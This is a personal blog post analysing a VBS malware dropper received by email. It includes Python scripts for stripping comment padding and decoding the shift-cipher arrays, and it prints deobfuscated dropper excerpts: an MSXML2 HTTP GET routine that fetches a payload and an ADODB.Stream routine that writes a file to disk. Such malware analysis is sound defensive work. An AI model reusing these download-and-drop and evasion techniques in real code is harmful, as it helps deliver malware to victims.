Written 7 Nov. 2021

Malware delivered straight to your inbox

I recently had to partake in a Cisco training through a third party company. I have now received 3 emails from one of their staff containing 2 links and 2 zip files. So I fired up a throw away VM, checked the links and...404. I can only assume the links were to an old drop site. Very old, because the kind of malware contained in the zip files were....

VBS Malware....wait wut

Right after checking my hotmail for updates from Myspace, I realized IT'S 2021 AND SOMEBODY SENT ME VBS MALWARE. What God forsaken year is it that this is still a thing? Also, I never had a MySpace, but I remember getting a Facebook when that was first opened to the world. So, popped the zip files into a VM, opened them up, and realized that they're identical, 9 meg vbs files. Oddly enough, the suite of techniques employed seem to still be effective.

Starting point

I am, at best, a rank newb and mediocre at this stuff. I did some of it in college and have an underlying theme of being security conscious, but I'm no researcher. I was, however, bored. Cracked open the vbs file and found this:
That's a lot of numbers

So wtf is this?

From the get go, what I found is: 1. This is some old school BS because it's VBS 2. They're employing a number of evasion techniques 3. We're going to have to clean this up a bit to make sense of it. Also, a lot of comments, effectively padding the file and filling it with noise. This is a very basic and easily defeated evasion technique, but every little helps. I guess? Well, that's a pain in the butt to deal with, and I don't know much about VBS, so it's time to consult someone smarter than me: DuckDuckGo, of course. Sure enough, I found somebody had blogged something similar from about a year and a half ago. Analysis of a VBS Malware Dropped. Word for word, this matches my use case. The first evasion technique employed was the same for both of us. ## Evasion technique: Comments VBS has 2 ways of making comments, a leading `'` and `REM`. Both were employed when making long, and placed between contiguous lines. Nicely, they're all single lines, that makes the clean up job easy. The medium post on the same actually had a script I borrowed, modifying to clean out the REM comments as well:
	
#!/bin/env python
import sys

if len(sys.argv) < 1:
    print("USAGE: strip_vb.py vbs_file")
    exit(1)

with open(sys.argv[1], "r") as f:
    lines = f.readlines()

output = ""
comment = 0
for i in range(len(lines)):
    if "'" in lines[i] or "REM" in lines[i]:
        comment +=1
    else:
        output += lines[i]

with open(str(sys.argv[1]) + ".dec", "w") as f:
    f.write(output)

print(str(comment) + " comments found and removed, done")

I'm not a huge fan of Python...but I have to admit it's a quick and easy way to handle this stuff. Until it's not. We'll get to that.

Evasion Technique: Sleeping

AV Evasion technique #2 is also old school, effective, and common in the teenage and elderly: Sleeping. Specifically, this seems to sleep for at least 7 seconds. I converted that to Python for funsies, but I'll leave that to the reader as an exercise. At the end, I'll show the VirusTotal report, but I suspect this was the second most effective technique as only 3 vendors caught the dropper as malicious. From here, my malware seems to part ways from the medium posts, so I decided to do a little critical though about it.

Code structure

So where's the actual code? Well, it's buried about 100 lines (or several hundred lines if you go by scroll wheel clicks). It's short. Here it is:
Yes, those are words. Many different words.
You do not smell toast and that picture does not need adjusting. This is another basic technique, using generated variable names. It still can't hide the nature of what's happening if you just tug on the strings though. Let's break it down: 1. This function takes an array as an argument (noticed from calls to vxI). Also, ignore the 2 comment lines, obviously. 2. Establish 2 int variables, `McNally` and `wQF`. We'll call them `start` and `end` 3. lbound and ubound confused me at first. I made a bad assumption, thinking this thing was more clever than it is. When I see bound, I think about the contents of an array. Turns out, this is just an obfuscation technique to get length of the array. This gets used in a for loop. For each element of the array: * if the value is 999999, print...something. I cannot figure out what this could be as it will always be (-7*rand)+9. Unless the Randomize function is bounded in a way I'm unaware of, this is very unlikely to ever be positive. * Otherwise, convert the value of array[index] - 9 to a unicode character. Again, the magic number is just an obfuscation technique. The magic number? Well this is just a good old fashioned shift (or Caesar) cipher. 4. Redefine the function as the string we just read. This script actually rebuilds itself from the integer arrays. Kind of neat, actually.

But what does it look like?

Ok, that's nice, but we want to see what this malware looks like. So, I decided to convert it to Python and run it. To do that, I also needed to convert the arrays. I modified the original script to update the arrays from VBS arrays to numpy arrays. Here's that:
	
#!/bin/env python
import sys

if len(sys.argv) < 1:
    print("USAGE: convert_vb_array.py vbs_file")
    exit(1)

with open(sys.argv[1], "r") as f:
    lines = f.readlines()

output = ""
array = 0
for i in range(len(lines)):
    if "Array(" in lines[i]:
        lines[i] = lines[i].replace("Array(", "np.array([")
        lines[i] = lines[i].replace(")", "])")
        output += lines[i]
        array +=1
    else:
        output += lines[i]

with open(str(sys.argv[1]) + ".dec", "w") as f:
    f.write(output)

print(str(array) + " arrays found and converted, done")

After running that, I just replaced the original method with my python version, tacking on some lines to write the contents to a file. Here's that script:
	
#!/bin/env python3
import numpy as np

finalScript = ""
def SuperSecretDecoderFunction(contentArray = []):
    start=1
    end=9
    newScript = ""
    for intValue in contentArray:
        if intValue == 999999 :
            c = chr(int((start-end+1)*np.random.randint()+end), )
            newScript = newScript + c
        else:
            c = chr(int(intValue - (((61 + 1347.0) - 1337.0) + (-(88 + (-26.0))))))
            newScript = newScript + c
    global finalScript
    finalScript = finalScript + newScript
    # ...a lot of arrays later
with open("MainScript.vbs", "w") as f:
    f.write(finalScript)

Not bad, that's pretty tight and does pretty good. So, what'd we decode when we ran it? A big ass script that actually translated a secondary script using the arrays that weren't used by initial run. What's that mean? It means this is a dropper, not the actual malware itself. Here are the important bits:
	
Function eQwJp(wheat)
on error resume next
Dim Cuzco: Set Cuzco = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Cuzco.setOption(2) = (((952 - 884.0) + (-55.0)) + (13394 - 351.0))
Cuzco.Open "GET", wheat, False
Cuzco.setRequestHeader "User-Agent", "Mozilla/4.0"
Cuzco.Send
End Function

This just creates the object that actually sends the GET request to pull down the payload.
	
		Function smart()
		kYccn("DEBUG: F_DROPPED - Start")
		Dim INg:Set INg = CreateObject("ADO"+"DB.S"+"tr"+"eam")
		With INg
		.Type = 2
		.Charset = "ISO-8859-1"
		.Open()
		For Each qVMLa in Array(...)
		.WriteText vxI(qVMLa)
		Next
		.Position = 0
		.SaveToFile HsTol + "guzzle.dwg", 2
		.Close
		End With
		kYccn("DEBUG: F_DROPPED - True")
		End Function
	
This appears to be the actual downloader. According to very little research, adobs.stream is an old javascript vulnerability in Internet Explorer used to download whatever the hell you want. You can also see where it's building a file called guzzle.dwg using the same vxi function, but with a different encoding.

Guzzle.dwg

No clue. I tried to convert this, but it was encoded differently. ISO-8859-1 is "Latin Alphabet No. 1". I can't tell if I decoded it correctly and it's a .exe or if I can't get Python to decode it correctly. This was the defactor encoding standard for Unix and Windows until relatively recent history, when it switched to Unicode. Python 3 has gone out of its way to make it a pain in the ass to use, further discouraging its use.

Next Steps

Next up would be getting hold of the actual malware that it's trying to pull down. Also, seeing if I've actually decoded a .exe or if I just screwed it up.

VirusTotal results

As promised, the results from VirusTotal. First, the zip file:
Green means good...but this is bad
And the vbs script itself:
VBS uses sleep...it's super effective!
Links to them: Zip file analysis VBS analysis
This is...concerning